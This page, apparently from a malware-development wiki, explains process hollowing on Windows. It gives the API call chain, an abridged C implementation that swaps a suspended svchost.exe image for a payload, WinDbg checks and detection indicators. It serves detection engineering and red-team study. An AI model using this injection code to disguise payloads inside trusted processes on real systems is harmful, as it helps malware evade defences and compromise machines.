Skip to content
λmaldev wiki/
pagesProcess Hollowing
T1055.012Windowsx64 / x86C / C++

Process Hollowing

updated 2026-07-219 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Process hollowing is a code-injection technique in which a process is created in a suspended state, the memory of its legitimate image is unmapped, and a different PE image is written in its place before execution resumes. The result is a payload running under the identity, image path and signature metadata of a trusted binary such as svchost.exe.

Because the container process is genuine, naive image-path and parent/child heuristics often fail to flag it — which is exactly why the memory artifacts it leaves behind matter so much for detection.

Note.

Most modern EDR products hook NtUnmapViewOfSection. Variants that avoid the unmap entirely — transacted hollowing, module stomping — are covered further down and detect differently.

The call chain

  1. 1
    CreateProcessA(CREATE_SUSPENDED)
    Spawn a benign host binary; no thread runs yet.
  2. 2
    NtQueryInformationProcess
    Read the PEB to find the host image base address.
  3. 3
    NtUnmapViewOfSection
    Discard the legitimate image mapping. Loudest step.
  4. 4
    VirtualAllocEx + WriteProcessMemory
    Allocate at the payload's preferred base and copy headers plus sections.
  5. 5
    SetThreadContext + ResumeThread
    Redirect the entry point and let the hollowed process run.

Reference implementation

Abridged for clarity — error handling and the relocation fix-up loop are omitted. The full annotated sample lives in the lab repo.

hollow.cC
// 1. spawn the sacrificial host, suspended
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
             FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. read the PEB to locate the image base of the host
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation,
                        &pbi, sizeof(pbi), &ret);
ReadProcessMemory(pi.hProcess, (PBYTE)pbi.PebBaseAddress + 0x10,
                &imageBase, sizeof(PVOID), NULL);

// 3. unmap the legitimate image  <-- heavily monitored
NtUnmapViewOfSection(pi.hProcess, imageBase);

// 4. allocate RWX at the payload's preferred base, then write it
PVOID dst = VirtualAllocEx(pi.hProcess, (PVOID)nt->OptionalHeader.ImageBase,
                         nt->OptionalHeader.SizeOfImage,
                         MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, dst, payload, nt->OptionalHeader.SizeOfHeaders, NULL);
// ... section-by-section copy loop omitted ...

// 5. point RCX at the new entry point and resume
ctx.Rcx = (DWORD64)dst + nt->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
Caution.

Allocating PAGE_EXECUTE_READWRITE is the single loudest thing this sample does. Real-world implementations write with RW and flip to RX per-section with VirtualProtectEx.

Verifying in the lab

Detonate inside a snapshotted VM, attach WinDbg to the hollowed process and compare what the PEB claims against what the loader’s module list holds. The two disagree in every variant of this technique — that disagreement is the artifact worth building a rule on.

windbg
> !address -f:Image
BaseAddress  RegionSize  State       Protect                 Usage
00007ff6`... 0000d000    MEM_COMMIT  PAGE_EXECUTE_READWRITE  <unbacked>
> !peb
ImageBaseAddress: 00007ff6`00000000   // mismatch vs. loaded module list

Detection

Every hollowed process shares one structural tell: executable memory that is not backed by a file on disk, inside a process whose PEB image base disagrees with the loader’s module list.

SYSMON EID 8
CreateRemoteThread into a process whose start address is not backed by a mapped module.
ETW-TI
A protection change to RX on private memory shortly after process creation.
MEMORY SCAN
PEB ImageBaseAddress disagrees with the PEB_LDR_DATA module list entry for the main image.
BEHAVIOURAL
svchost.exe spawned by a non-services.exe parent, with a suspended primary thread.

Rank these by cost, not by cleverness. The memory-scan check is the most reliable but only runs on demand; the Sysmon and ETW-TI signals are continuous and cheap, and catch the common tooling that still allocates RWX in one shot.

Was this page useful?edit this page ↗